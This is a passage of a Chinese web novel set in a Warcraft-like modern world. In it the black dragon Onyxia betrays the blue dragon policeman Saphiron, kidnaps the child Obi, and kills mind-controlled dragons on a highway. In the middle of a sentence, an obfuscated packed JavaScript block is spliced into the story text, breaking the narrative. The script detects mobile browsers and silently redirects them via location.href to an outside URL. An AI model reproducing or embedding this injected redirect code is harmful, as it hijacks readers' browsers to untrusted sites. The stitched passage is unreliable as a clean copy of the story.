“你随时都可以回来这里,只要我每天都能见到你就行,我会安排一个人做你的替身,萨菲隆·弗洛斯特依然是这里的警察,没人会发现破绽。” “不行。” “我可以安排泰坦尼亚的漂亮母龙给你认识,保管都比她漂亮,她们会爱上你,然后替你生很多龙蛋,繁殖季里你不用再独自一人饱受煎熬。” “……不……不行。” “你到底要怎样才肯跟我走?”见这也不成那也不成,小孩禁不住又恼了。 “我不会去泰坦尼亚。”萨菲隆起身朝门口走去,“我要继续去值班了——抱歉,小鬼,这事没得商量。” “为什么?你说呀!”小孩冲着他的背影直叫,“就准你讨厌那里,我就不行吗?你是害怕回去吧?说到底其实你也是个胆小鬼吧?!” 萨菲隆拉上门,默默地走下楼。 是的,小鬼,你说得对,我也是个胆小鬼。 我害怕那个我不曾有过记忆的地方。 这天晚上睡觉的时候,小奥比头一回没进萨菲隆的窝,而是在沙发上缩成一团,萨菲隆在沙发边守了好一会,小孩理都没理他。他拿来薄毯替小孩盖上,转眼就被蹬开。萨菲隆没法子,只得闷闷地钻进衣柜,变成龙趴在冰湖里,却是怎么也睡不着。 他眼里一闪光,面前的空气中出现了一个半透明的奥术显像屏,在他的凝视下,屏幕上出现一列数字,随即显示“正在拨号”。 喂? “奥妮。”萨菲隆低沉的声音在雪地里回荡。 你倒从没这么晚给我打过电话——怎么,长夜漫漫无心睡眠?要我过来陪你吗? “不,不必了。”萨菲隆犹豫了片刻,对奥妮克希亚说了麦洛尼家派人跟他联系,而他跟小奥比大吵一架后开始冷战的事。 你半夜三更给我电话,就为了这个? 电话那边的语气明显转冷,还隐约有些不耐,萨菲隆甚至可以想象她眉头轻蹙的样子。 “对不起……我回头再给你电话吧。”他有些狼狈。 麦洛尼家族找上门 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17363271|199776||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来问你要人,这是迟早的事,你不可能把那小鬼永远留在身边。 奥妮克希亚突然这样说。 “……我知道。”他低声应道。 你想要小孩吗?我可以送你几只龙蛋——虽然我是黑龙,不过只要你把蛋拿去授精,就会变成蓝龙蛋,孵出来的就是蓝龙宝宝了。 “不!……不不,我不是这个意思。”萨菲隆忙道,“我是在想——” 我知道你在想什么,甜心,不过我可以直接告诉你,这行不通。 “……” 虽然“巨龙之殇”已经过去很久,但我们黑龙跟蓝龙依然不对盘——八大家族里普瑞斯托和麦洛尼的关系很糟糕,别的不说,光是我哥哥奈法利安的黑石和亚雷苟斯的灵风这两家做能源的就势不两立。 对于两大集团之间的利益冲突和紧张关系,萨菲隆也略有所闻。艾泽拉斯消耗的石油和天然气中,有超过八成由黑石集团供应,而全世界一半的电力来自灵风能源的水电站;灵风能源一直在努力推进奥术能量民用化的进程,而这显然影响到了黑石集团的利益——如果汽车的发动机都用奥能推动而不是汽油,他们将无钱可赚。 于是两家“巨无霸”互泼冷水:灵风说石油和天然气这种不可再生资源已经“过时”,不但利用率低、加工炼制过程成本高昂而且还污染环境;黑石则抓住奥术能量的安全性不放,说“没人敢开装着奥术反应堆的汽车”,又指出灵风垄断奥术能源的稳定技术和提纯工艺,让大众承受高额专利许可费……两家已经吵了两百多年,而站在这两大能源寡头背后的黑龙普瑞斯托家族和蓝龙麦洛尼家族,关系自然也是每况愈下。 萨菲隆不禁自嘲,他真是急病乱投医,居然连这么不靠谱的馊主意都想出来了。 麦洛尼的家务事,怎会让黑龙介入呢? “奥妮,我该怎么办?” 你明明知道又何必问我。 “那小鬼在讨厌我,他觉得我出卖了他,他觉得我当他是交易筹码……我不想这样。”一想到小孩的眼神,萨菲隆就忍不住皱眉,那种不甘、那种怨恨、那种…… 那种绝望,根本不该出现在一个孩子的眼睛里。 哦得了,被一个小孩讨厌,或者得罪一个家族,甜心,这不是显而易见的吗?与其为了迁就一个不懂事的小孩子冥思苦想,不如好好考虑一下我们之间的事吧。 她话锋一转,弄得萨菲隆措手不及。 “你是指……” 你很可爱,跟泰坦尼亚的那些男人不同,我很喜欢你,你呢? “我……我……”电话那边仿佛讨论的不过是天气,但就连萨菲隆这么迟钝笨拙的龙也知道这是再明白不过的示爱。奥妮说喜欢他,他简直不敢相信自己的耳朵。 他不知所措,只觉得口干舌燥,心跳加速,有那么一瞬间,他几乎脱口而出: 我也喜欢你!我想跟你在一起!我愿意为你做任何事! 成千上万条龙渴望得到我,但要做我的男人就必须付出代价,想清楚了再回答,甜心。 电话被挂上了。 萨菲隆趴在湖里,下巴搁在岸上,心乱如麻地闭上眼。 奥妮克希亚用手机支着下巴,望着镜子里的自己,片刻之后拨通了另一个号码。 “是我,麦洛尼家有回应了……准备动手吧。” …… 当小奥比醒过来时,已是次日中午。 屋里空无一人,桌子上摆着柳橙汁和鼠尾鱼三明治,远远就能闻到香味。 “醒了?”冷不防身后响起一个女人的声音,吓了小孩一跳。 他飞快地转身,却见奥妮克希亚正坐在椅子上,她背对着窗,阳光越过她的肩,照在她优雅叠放的长腿上。 奥妮克希亚的脸被阴影笼罩,看不清她的表情。 小奥比怔怔地望着那条雌性黑龙,忽然觉得自己有点认不出对方。 “我老……”他顿了顿,改口道,“那个姓弗的条子呢?” “他?当然是去工作了。”奥妮克希亚说,“怎么,你担心他?” “我……我有什么好担心的。”小奥比哼了一声。 “当然了,你不会替他担心,反正他壮得很,挨了枪子儿也没事。”她笑着说,“而且,他出卖你,把你当交易筹码,你连讨厌他还来不及吧?” “……”小奥比一愣,尔后用力点头: “没错!他最可恶、最坏了!亏我那么相信他,还以为他是好人!……” “他今天会见你家里人,你知道吗?” 见小孩有些不知所措地点了点头,奥妮克希亚又问:“你打算怎么办呢?” “我……我不会跟他们回去。”小奥比喃喃自语。 “恐怕这由不得你了,奥比。”黑龙说。 “为什么他们非要把我带回去?他们不是很讨厌我吗?干嘛就不肯放过我?”小奥比激动地冲着奥妮克希亚叫着。 “因为你是麦洛尼家的孩子,是你父亲卡雷苟斯的唯一血脉。” “我不稀罕!我就算没有挂着麦洛尼这个姓我也能赚很多钱!……我……我只是个私生子,他们都瞧不起我,都巴不得我消失,反正我也是可有可无!” “不再是了,奥比。”奥妮克希亚微微一笑。 “什么意思?”奥比一脸狐疑地看着她。 “事情已经变了,奥比,你不再是那个‘可有可无’、‘人见人厌’的小可怜了,现在的你非常重要,甚至可以说是麦洛尼家族唯一的救命稻草呢……回去之后,你一定会受到盛情接待,大家都会围着你,冲着你笑,对你嘘寒问暖——相信我,离开那个‘姓弗的’,回到泰坦尼亚,会是个好主意哦,沉溺在幸福之中的你很快就会把这里发生的事忘的一干二净的。” 奥妮克希亚的声音还是那么悦耳动人,她说话时唇形的变化还是那么令人想入非非,然而听着她的话,小奥比竟不知怎的,突然有些不寒而栗。 “你……你别故弄玄虚!把话说清楚!” “说起来,你好像有个叔叔,叫亚雷苟斯?” “有又怎么样?” “不出意料的话,大概你很快就会成为他的养子了哦——哎呀,说起来还真是令人羡慕呢,你未来的新爸爸可是世界首富、名闻遐迩的大慈善家,依我看,过不了几天这个新闻就会轰动全世界,啊,当然啦,泰坦尼亚和艾泽拉斯的版本会略有不同……” “你到底在胡说些什么?!你接近我果然是有目的的吧?我从一开始就知道你没安好心!”奥比声色俱厉,然而听着黑龙的话,他已经开始慌了,尽管他并不知道这是为什么。 “这可真是冤枉。”奥妮克希亚撇了撇嘴,“其实我也无所谓的,本来还打算帮你离开这里,不让你落入那群人手中的,既然你态度这么恶劣,那就算了。”说着起身,背后黑光掠起,龙翼之影遮住了阳光。 奥比急忙上前两步,带着哭腔叫道:“你……你到底想干什么?你究竟是要害我还是要帮我?你就是想看我笑话,对不对?” 黑龙双脚离地,居高临下地盯着那个孩子。 “原来你还不知道那件事啊。” “什么事?我不知道什么事?你说呀!!”奥比已经忍无可忍了。 “你的亲生父亲,卡雷苟斯·麦洛尼,已经死了。” 宛若耳边一个炸雷,奥比踉踉跄跄地后退两步,撞倒了茶几上的游戏机。 “怎么,弗洛斯特警官没有告诉你吗?”奥妮克希亚怜悯地看着他,“大概他是怕你伤心吧?” 小孩的身体剧烈地颤抖着,他死死地瞪着悬浮在半空中的黑龙,嘴唇咬得发白。 泪水夺眶而出,他强忍着不哭出声来,呜咽梗在喉头,听起来像是在干呕。 “真是可悲。” 奥妮克希亚伸出手: “跟我走吧。” 奥比抬起头,泪眼迷茫之下,他看不清。 黑龙背后的翼泛着暗紫色的光,他分不清那是不是恶魔。 “反正你也不会有更多损失了,赌一把又何妨?” 小孩恨透了这个女人,就好像他恨萨菲隆一样。 但终于,他还是伸出手。 …… 萨菲隆请了半天假,带着麦洛尼家的主管埃雷苟斯及三个随从回家。 埃雷苟斯是条很老的龙,人类形态已是满头银丝,蓄着薄薄的山羊胡,杵着拐棍,然而尽管上了年纪,全身上下却仍是一丝不苟,无可挑剔。这位谈吐得体,举止优雅的老人身上每一个细节都留着名门望族的烙印。他说自己从一百多个世纪前就开始为麦洛尼家族效劳,现任掌门人卡雷苟斯是他从小看着长大的。 说起卡雷苟斯一家三口,老埃雷唏嘘不已,提及卡雷苟斯的死,更是黯然泪下。 萨菲隆不敢说他曾和红龙中将见过面的事,只得劝老人节哀顺变。 老埃雷的三个随从都是年轻的蓝龙,至始至终面无表情,一言不发。 不愧是专业人士,对于萨菲隆异乎寻常的身高和体格,以及他的工作和他的住所,麦洛尼家的人没有表示出丝毫的大惊小怪,直至他们跟着萨菲隆进了门。 “小少爷呢?”老埃雷环视四周。 萨菲隆叫了两声,却没回应,房间里空无一人,一摸电视机,却是凉的。 看到那台翻倒在电视柜上的游戏机,萨菲隆立即感到不妙——小家伙不在这里,到底发生了什么事? 喵呜。 比格沃斯轻轻地从沙发后走出来,冲着电话叫了两声。 萨菲隆走过去,按下答录机的播放键。 “弗洛斯特先生,我是奥妮克希亚。” 萨菲隆心头升起不详的预感,而老埃雷及其随从听到那个名字后,更是脸色骤变。 “……小奥比正和我在一起,一切都按计划进行——亚雷苟斯要想做下任蓝龙首席执政官的话,他一定会跟我们谈——别担心,黑龙不会亏待你的。” 嘟—— 空气好像凝固了一样。 老埃雷一脸震惊,他身后的三条蓝龙齐刷刷地盯着萨菲隆,像是恨不得在他身上戳出几个洞来。 过了半响,老埃雷才强行镇定下来,双手紧攥着拐棍,一字一句地说: “我在等您的解释,萨菲隆·弗洛斯特先生。” 9. 第 9 章 说话,萨夫,说点什么。 偏偏萨菲隆此时此刻脑子里一片空白。 “弗洛斯特先生,您和普瑞斯托家族的黑龙来往很密切?” 也真是难为了麦洛尼家的老主管,此时此刻竟仍能保持语调平缓,倒是他身后的三条年轻的蓝龙已经耐不住了,一脸鄙夷地盯着他,似乎只等老埃雷一声号令,就立马扑上去将萨菲隆拿下。 “普瑞斯托兄妹与麦洛尼家积怨已久,您身为蓝龙一族的成员,应该对此有所了解吧?” 萨菲隆无言以对。 为什么奥妮克希亚会指点他去花园公墓找红龙中将;为什么她会在两人大打出手时将小奥比带到他家里;为什么她明明那么美那么令人神魂颠倒,却偏偏会看上他—— 这才是奥妮接近他的目的?这就是他需要付出的代价吗? 他没把红龙中将的忠告放在心上,他忽略了好友在梦中给予的暗示。他心甘情愿地跳进奥妮克希亚的陷阱,甚至当他面对麦洛尼家族的怒火时,仍未想到要立即撇清关系,郑重声明自己是被狡猾阴险的黑龙所利用。 当她说喜欢他时,他真的……真的欢天喜地地相信自己交好运了。 奥妮背叛了他。 那么的显而易见,又是那么的理所当然,可悲的是,当他恍然大悟之后,第一反应并非愤怒,而是替她担忧——那种深深的、单纯的、萨菲隆式的担忧。 他果然是条笨龙。 “我会找到小奥比的。”他说。 “叛徒!”一条年轻的蓝龙沉不住气,怒喝一声。 空气扭曲起来,房间里所有的东西被在无形力场的挤压下扭曲变形,萨菲隆没有闪躲,结结实实地挨了那一击,庞大的身躯朝后飞起,撞穿了客厅的墙。 紧接着另一条蓝龙身影一晃,施展瞬间移动术来到萨菲隆身后,用厚厚的冰挡住他,冻住了他的手脚。先动手的蓝龙冲上前,一拳击中萨菲隆的腹部,又狠狠朝他的脸揍了两下,巨力透过他的躯体,震碎了冰壁。 “放肆!!” 老埃雷低喝一声,伸手一抓,把两个随从隔空拽回自己身边。 冰壁坍塌,萨菲隆重获自由,但他只是沉默地站在原地,血丝顺着嘴角淌下。 “先生,他——” 啪!—— 年轻的随从怒不可遏,正欲列举萨菲隆的罪状,却挨了一记响亮的耳光。 老埃雷并未施力,却扇掉了对方的脾气,三条蓝龙忙单膝点地,低头跪在老人身边,大气都不敢出。 “我是这样教你们的吗?”老埃雷气得胡子乱颤,“嫌麦洛尼家的脸还没被丢够,是吗?” 说着又抚着胸口,朝萨菲隆略微欠身。 “弗洛斯特先生,他们太无礼了,回去我会好好管教。” “是我的错,我不该留小奥比独自在家。”萨菲隆低声说。 见那大个子挨了揍居然面不改色大气不喘,只是嘴角破了点皮,三条蓝龙不禁心惊肉跳。 萨菲隆望着埃雷苟斯。 老埃雷严厉训斥手下在先,他就算要发作也不好还手;看似是责怪手下冲动莽撞,其实是在暗中警告他别忘记正在跟什么人打交道。他的实力远超一般的蓝龙,但除非万不得已他不会轻易动手,当然更不愿冒犯麦洛尼家族,以免落人口实,被扣上顶“与黑龙同流合污背叛同族”的大帽子——恐怕这条老龙早就把他看穿了。 “替我联系老爷。” 刚才唯一没对萨菲隆出手的蓝龙忙一眨眼,面前现出一个半透明的奥术屏幕,切到通讯页面,用心灵感应拨了一长串号码。 “接灵风集团总裁办公室……是的,我是阿坎纳苟斯,代号‘夜之魇’。” “……亚雷苟斯大人,埃雷先生要跟您通话……” 老埃雷朝身旁瞥了一眼,也打开了自己的奥术终端位面。 “是的,亚雷老爷,我是埃雷苟斯,非常抱歉,我们这里遇到了麻烦……是的……是的,小少爷他——您已经知道了?那——好的,我明白了。” 老埃雷收了线。 “亚雷老爷已经知道小少爷被黑龙绑架的事了。” 见手下一脸震惊,老埃雷又说:“不过灵风的卫星已经锁定他们的位置,他们正在一号高速公路上,麦洛尼家已经派人过去了——我们现在立即去铁炉堡包抄,希望普瑞斯托小姐以大局为重,不要一错再错。” 蓝龙打开了传送门,在做空间跳跃前,老埃雷深深地看了萨菲隆一眼。 “弗洛斯特先生,我们很快会再见面的。” 埃雷苟斯带着三个随从走进传送门,留下萨菲隆一人和满地狼藉的房间。 要是奥妮跟蓝龙打起来,事情可就闹大了,无论她再怎么厉害,同时对付那么多蓝龙也太勉强了,若她有个三长两短,黑龙公爵绝不会善罢甘休,一旦普瑞斯托家族和麦洛尼家族彻底翻脸,只怕离黑龙和蓝龙再次全面开战也不远了,泰坦尼亚经不起第二次“巨龙之殇”,为什么事情会变成这样? 该死,这个时候,他居然还在替奥妮克希亚着想! 他必须抢在麦洛尼家族之前找到她和小奥比—— 他的手机突然响了。 一看是局里打来的,萨菲隆一咬牙接了。 “是我——” 他话还没说完,话筒里就传来一声巨响,接着一片噪杂,咆哮声,枪声和脏话不绝于耳。 “头儿?出什么事了?” 该死的你快点过来!有人上门挑局子!噢!该死!—— 气急败坏的警察局长连黑话都出来了,萨菲隆只听到他炸雷似的怒吼声: 各单位寻找掩护!鲍比!去拘禁房!别让那些坏蛋趁机逃了!——开枪!直接开枪射他!……见鬼!他是什么鬼玩意!……笨蛋!别上去!离那家伙远点!!科比,跟他说! 那边换了人,手机里传来科比焦虑的声音: 老萨,枪对那个人没用!他根本刀枪不入——而且他力大无穷,空手就能击穿防暴盾牌!还……还会喷火!这简直是个怪物!恐怕只有你才能搞定了……不,不不,不是怪物,是超人!你也是超人!别生气!快点过来!—— 听着搭档的语无伦次,萨菲隆心头阴云密布。 黑龙?还是红龙? 在这个节骨眼上,龙族成员竟然袭击他所在的警局? 有人想拖住他。 “我马上过来。” 萨菲隆收了手机,转身走进浴室。 他凝视着半身镜。 去找奥妮和小奥比。 镜子里的那个自己冲着他点了点头。 萨菲隆使用瞬间移动术,消失在空气中,镜子里走出另一个他,从地上捡起车钥匙,大步流星地冲出门外。 …… 与此同时,连接暴风城和铁炉堡的一号高速公路上,一辆黑色的敞篷跑车正以超过两百公里的时速飞驰。 “为什么要陷害他?”小奥比问。 “因为这样可以争取时间啊。”奥妮克希亚抚了抚鬓角的发丝。 “争取什么时间?” “和你未来继父谈判啊。” “你果然还是绑架我嘛。”小奥比嘟哝了一句,疲惫地把头靠在座椅皮枕上。 “怎么了?”奥妮注意到他的异状,伸手摸了摸他的额头,发觉温度低得吓人。 “把手拿开。”小孩歪了歪脖子,但只能微微地转动头部,他半张着眼,目光呆滞地看着路边急速掠过的景物。 萨菲隆的住所充满着他的蓝龙之力,他出门上班的时候,这间屋子就成了保护小奥比的绝对安全领域,所以他才会放心让小奥比独自在家。 眼下离开那里不到两小时,奥术污染就再次开始隐隐发作,奥妮当即把车开得更快,飙到了两百四。 “为什么要利用他?”小孩低声问,“他跟泰坦尼亚的龙不一样,你知道的。” “你不是很讨厌他吗?”她反问,“我对他做了什么,你有什么好在乎的?” “那不一样。”小孩摇了摇头,“他很喜欢你的。” 奥妮克希亚不屑地哼了一声,瞟了眼后视镜里被越甩越远的警车,拿起手机按了两下,放到耳边。 “给我接奈法利安的办公室……是我,我在路上,马上就上燃烧平原大桥,到黑石山大概需要半个钟头,一离开那条龙这小孩的奥术污染就又有发作迹象了……对,比想象中的要快得多……喂,那个东西到底能不能用?……还在测试?管它稳不稳定,先用了再说……是是是,我知道蓝龙之力很复杂,不过实验室里的那帮家伙也真是没用,用遗传工程和医学模拟巨龙之力的理论五百年前就有了,‘龙类补完计划’烧了那么多钱,搞出了几条彩龙?……” 奥妮克希亚不耐烦地看着路标牌。 “算了算了,不跟你吵,总而言之你赶快准备用人工模拟的蓝龙之力来抑制奥术污染,不然这小子要是挂了,你跟亚雷苟斯也甭谈了,直接准备开战吧。” 她合上手机朝旁边一丢:“他喜欢我,那又怎么样?繁殖季里哪条发情的公龙不喜欢我?他愿意替我做事,被我利用,跟泰坦尼亚的男人有什么不同?” “可你也喜欢他,这就是不同。”小孩说,“和他在一起你好像很开心,那些都是故意做出来骗他的吗?你也说了不少让他高兴的话,没一句是真心的吗?” “逢场作戏罢了,很重要吗?”她冷冷应道,莫名地有些心浮气躁。 她为什么要跟一条乳臭未干的小龙崽谈这个? 如果这小子想用这个来让她感到愧疚,那可就打错算盘了,被她利用过的男人多了,而且他们自己也乐意,你情我愿的,她觉得挺好。在外人看来冷酷无情也罢,阴险狡诈也罢,黑龙普瑞斯托家的人被妖魔化了不知多少个世纪,最终他们也很豁达地接受了——不爽的话就别招惹她,玩不起的趁早滚蛋。 区区一个萨菲隆,财富、地位、权势,要什么没什么,何况颜色也不对,凭什么让她于心不安? “你会后悔的。”小孩淡淡地说。 “你说什么?” “我说你会后悔的。”小孩翻了身,蜷缩在座椅的角落里,背对着她,“别嘴硬了,我看得出来,你已经陷进去了。” 她叫小孩把话说清楚,虚弱的龙崽却没了动静,她正想查明情况,看是不是奥术污染已经失控,冷不防一架直升飞机从她头顶低空掠过,她低声咒骂了一句,透过太阳眼镜瞥了一眼那架咄咄逼人的“奇美拉”式直升机。 机身上喷绘的不是暴风城警署的标志,而是—— “麦洛尼家的动作真快啊。”奥妮克希亚冷笑一声。 竟然出动武装军用直升机,也真是太夸张了,还居然用机载机关炮对着她?真是笑死人了,不知道你们家的小少爷在我车上吗?有胆子就开火好了。 她正这么想着,却见那架“奇美拉”上突然喷出火舌。 “妈的——” 哒哒哒哒哒哒!!—— 她松开油门,高速公路上出现一排弯弯曲曲的弹孔,像条扭曲的黑蛇。 前面是通往燃烧平原大桥的出口,她猛打方向盘,嗡的一声扎了进去。 守在路口的警车拉响警报,尾随而去。 “哟,香车靓女,开这么快,非得好好罚罚不可。” “那架直升机是怎么回事?局子里什么时候有这玩意儿了?……” “哎?” “奇美拉”射出一条“白龙”。 惊天动地的爆炸声震动鼓膜,她赶紧再次减速,以免在冲击波中失却平衡翻车。火光中那辆警车被炸上了天,在空中翻滚着,砸在路边的防护栏上,紧接着再次爆炸,轮胎碎片和挡风玻璃渣撒了一地,两个可怜的警察还没弄清状况就成了替死鬼。 居然连□□都用上了,那些蓝龙疯了吗? “看来你的家里人真的很不喜欢你呀。”她同情地看了昏昏沉沉的小奥比一眼。 那架“奇美拉”穷追不舍,奥妮克希亚也不客气,长发一甩,回眸盯着空中的武装直升机,将全部的黑龙之力聚在掌心,敞篷轿车的驾驶座上闪出夺目金光,晕开一圈圈绚丽的七彩光环。 “再会——” 说着奥妮克希亚朝“奇美拉”抛出一个飞吻。 黑龙公主的“飞吻”,可不是一般人承受得起的——一枚直径超过十米的巨型火球呼啸升空,直奔“奇美拉”而去,对方躲闪不及,被迎头轰了个正着。 直升机的残骸带着滚滚黑烟坠落,几个人影带着一身火在机体触地前逃离机舱,有两个直接摔在地上,在火堆里翻滚着,很快就没了动静,还有两个背后展开翼状阴影,但他们并没有在空中滞留多久,黑龙的烈焰舔舐着翼膜,他们的龙翼很快就被烧得只剩焦炭似的骨架,诺森德的大门已朝他们打开。 奥妮克希亚驾车扬长而去,她才不管那架“奇美拉”上坐着什么人,敢威胁她的就必须死。 然而对方铁了心地要阻止她带着小奥比穿过燃烧平原前往黑石山,大桥上横七竖八地堵上了十几辆货柜卡车,一群人正聚集在那里,恭候奥妮克希亚大驾光临。 嘎—— 轮胎与路面擦出火花,留下四道黑印,奥妮克希亚甩尾停车。 越过这座大桥,就能进入黑龙的领地,之后纵使麦洛尼家能只手遮天,也绝不敢贸然进犯黑石塔,亚雷苟斯固然富可敌国,但他也不会忘记在自称“洗白”前,黑龙公爵奈法利安是干什么营生的。 所以,他采取了“别的办法”来对付普瑞斯托兄妹。 阻拦奥妮克希亚的并不是别人。 那都是些身材高大体格粗壮的男人,看他们的装束,大部分是雇佣兵,也有拿着电锯的伐木工,还有卡车司机和消防员,这些人全都拥有奇异的金色瞳孔,但现在他们的眼睛不约而同地蒙上了一层浑浊,就像被瘟疫感染一般,呈现出病变的暗黄色。 原本对普瑞斯托家忠心耿耿的他们,正用呆滞的目光盯着黑龙公爵的妹妹。 “肉……”有人喃喃自语。 “母龙的……肉……好吃……”有人附和。 “宰了她……宰了她!”有人在低咆。 坐在车里,奥妮克希亚冷冷地望着那堵朝自己缓缓压来的人墙。 “全都被精神污染了吗?”她哼了一声,推开车门,“想不到还有这一招。” 她下了车,弯腰掀起长裙下摆,从黑色蕾丝长袜中抽出一把通体黝黑,但刃部泛红的刀子——“放血者”维斯卡格,世界上十大顶级军刀,排名第三。 “来吧,甜心。”她摇醒昏昏沉沉的小奥比。 “你要干什么?”小孩勉强睁开眼,却见她手里攥着把刀子,一脸惊惶。 “带你去砍人啊。”她抿唇一笑,“今天让你开开眼界,看看黑龙是怎么残杀同类的。” “撕碎她!吃她的肉!喝她的血!!——”像是听到了她的话,雄性黑龙们癫狂起来,朝他们昔日爱戴崇拜的黑龙公主扑去。 “那条绿龙已经死了那么久,你们竟然还摆脱不了他的精神污染,真是废物一群。”奥妮克希亚无不轻蔑地扣上车门,拽着小奥比,漫不经心地迎上前去。 “你……你别逞强!他们……他们那么多人!”见对面黑压压的全是彪形大汉,个个面孔扭曲,眼珠鼓起,口角垂涎,活像嗑药过度似的,小奥比吓坏了,一个劲地朝奥妮克希亚身后躲。 “肉……吃肉……” “竟然沦为蓝龙的走狗,连真正的主子是谁都忘了,真是丢尽了黑龙的脸。” 奥妮克希亚眼中金光一闪。 “要明白你们的处境。” 噌!—— 铿锵锐鸣,一道闪电般的光弧掠过,几颗头颅应声飞起。 顺劈斩威力惊人,再加上龙翼击飞和扫尾,她身边血肉横飞,对方虽有数十人,但这根本不是以多对少的“虐杀”,更像是一群自愿跳进绞肉机里的疯汉。 小奥比哪曾见过这般阵仗,身上不一会便溅满龙血,怀里还不时地蹦进几根手指头之类的“惊喜”,慌乱中看了奥妮克希亚一眼,却见那母龙一手拎着贵妇手袋,一手拿着军刀左劈右砍,上削下捅,穿着淑女高跟凉鞋在满地的碎尸残肢中大走天桥猫步,一副气定神闲的模样。 当“放血者”痛饮龙血,通体变成腥红色时,奥妮克希亚已经杀光了所有被精神污染的黑龙,只留下最后一条。 那是个雇佣兵,被砍掉了一条腿,正倒在血泊中,见奥妮克希亚朝自己走来,便用胳膊肘撑起上身,用颤抖的手从腰间摘下一颗手雷。 他正欲咬掉拉环,奥妮克希亚手起刀落,斩断了他握着炸弹的手。 小奥比吓得一把捂住眼。 “你……你……”雇佣兵恶狠狠地瞪着她。 “还没认出我是谁吗?”她弯腰,在他面前打了几个响指,然后用手按着他的头顶,将自己的黑龙之力注入他的体内。 剧烈的痛楚撕扯着他的神经,在奥妮克希亚的力量的影响下,那个男人的神智似乎清醒了一些:“大……大小姐?……” 但他的身体还是不听使唤,竟抬起另一只手,掐住了奥妮克希亚白皙的脖子。 “不!……不!……”他低吼,如果另一只胳膊还在的话,他拼了命也会拗断自己那只犯下重罪的手。 奥妮克希亚面无表情地扯开那只沾满血污的手,见自己竟玷污了他们高贵的公主,男人无地自容。 “亚雷苟斯控制了你们多久?”她蹲在男人面前,缓缓地轻抚着他的脸。 被砍断一臂一腿都没皱眉的黑龙硬汉,却在奥妮克希亚温柔的触摸下哭了起来。 黑龙一族的男人们视他们的公主为心中的女神,但如果是在这种场合下才能引起她的关注,还不如被杀掉——这不是褒奖的爱,而是耻辱之触。 “是……是绿龙……伊……伊森德雷……”他用尽全身力气,说出那个名字。 “那条绿龙是替亚雷苟斯做事的。”奥妮克希亚告诉他。 “蓝……蓝龙?……”男人睁大眼。 “你们接到的命令是什么?”她捏住他的下巴,厉声问道。 “女人……杀掉……” 男人机械地背诵着: “小孩……也杀掉……” 奥妮克希亚一蹙眉:“你说什么?” “……不留活口……” “这不可能,亚雷苟斯需要那孩子才能当上首席执政官,他不会杀掉自己的侄子!”奥妮克希亚恼怒地加大手劲,捏得男人的下巴咯吱乱响,“事到如今你居然还敢骗我?绿龙的精神污染有这么强吗?比普瑞斯托家族的手段更能让你臣服,嗯?” “杀……杀了我吧……大小姐……求求您。” 眼见这条黑龙已经快要不行了,奥妮克希亚沉默了片刻,接着干脆利索地割断了他的喉咙。 男人的嘴里发出咕噜咕噜的声音,接着他带着一脸感恩的表情,慢慢地歪倒在地,鲜血大股大股地涌出,被染成暗红色的路面奇迹般长出了成片的格罗姆之血。 凝视着那些生机盎然的植物,奥妮克希亚眼中闪过一丝不耐,提刀起身。 “别管闲事,安多。”她从牙缝中把字一个一个地挤出来。 她背后三十码外,正站着一个身量魁伟的光头巨人,在奥妮克希亚大开杀戒时,小奥比已处于那巨人的控制之下,此时他正用一只手护着小奥比,另一只手轻轻捂着小孩的眼睛,不让他再去看那血池地狱般的景象。 小奥比认出了这条红龙,他浑身僵硬,在光头巨人的掌控下,连动都不敢动。经历了刚刚那一幕,他发现自己从未看清过奥妮克希亚的真面目,而这条突然现身的红龙又想干什么,他更无从猜测。 可怜的小奥比只觉得身边没有一个值得他相信、能让他放心倚靠的人,再想到妈妈早就不在了,现在连爸爸也没了,虽然连那个人的长相都记不太清,可毕竟是他的父亲,小孩鼻子一酸,呜呜地哭了起来。 “嗨,别哭,别哭。”光头巨人眉头皱得老高,“安多叔叔在这里,别哭。” 那口吻像极了萨菲隆,一想到那条可恶的大蓝龙还要处心积虑地把自己送回泰坦尼亚,压根不在乎他的感受,自己就像个皮球似的被踢来踢去,小奥比更伤心了。 “卡卡早警告过他不要相信你。”安多洛夫望着奥妮克希亚,“他终究还是没听。” 奥妮克希亚爱莫能助的耸了耸肩,接着不忘冷嘲热讽: “怎么,雷奥家族也要插手了吗?真不愧是世界警察啊,连普瑞斯托和麦洛尼的事也要管?” “黑石和灵风的事我不管。”安多洛夫不愿跟奥妮克希亚争吵,低头看了小奥比一眼,说:“我是来保护这个孩子的。” “保护?”她哑然失笑,“你真是太紧张了,我们又不会拿他怎样,事实上我急着赶路正是为了救他——离开了萨菲隆,他身上的奥术污染又开始抬头了,你要是阻挠我,不让我带他去黑石塔的话,与其说是保护,不如说是谋杀更恰当吧?” 安多洛夫将自己的红龙之力缓缓注入小奥比的体内,虽然不能像蓝龙那样有效抑制奥术污染,但至少能暂时让他的身体不因侵蚀而衰竭。 “只是谈生意,犯不着把小孩子扯下水。” “哦?现在你开始同情心泛滥了,一个月前你在海湾大桥上亲手杀掉卡雷苟斯的时候,怎么没替他年幼丧母的儿子想想?”奥妮克希亚反唇相讥。 小奥比不顾一切地挣开安多洛夫的手:“是你干的?” “……”安多洛夫哑口无言。 “是你?是你杀了我爸爸?!“小孩带着哭腔叫道。 见那光头巨人一脸凝重地点了点头,小孩扑上去,不顾一切地冲着他拳打脚踢。 安多洛夫垂着双手,任由他打。小孩用上了自己全部的蓝龙之力,然而对于红龙中将而言,这样的攻击实在是微不足道。见那巨人若无其事,像尊铁塔似的矗立在自己面前,仿佛在嘲笑他的软弱,小孩抱住安多洛夫的腿,隔着裤管狠狠地咬那宛若钢筋拧成的肌肉。 他真没用,杀死自己爸爸的坏人就在面前,可他却无能为力。 “当时我别无选择。”安多洛夫说,“要恨我的话就尽管恨吧,小鬼,我会照顾你的。” 说着他从裤袋里掏出一个小瓶子,试着放进奥比的衣兜里,但那小鬼毫无配合之意,只顾冲着他拳打脚踢,安多洛夫索性将奥比整个人拎起来,把东西塞进了小孩的手里。 “这是——” 啪!—— 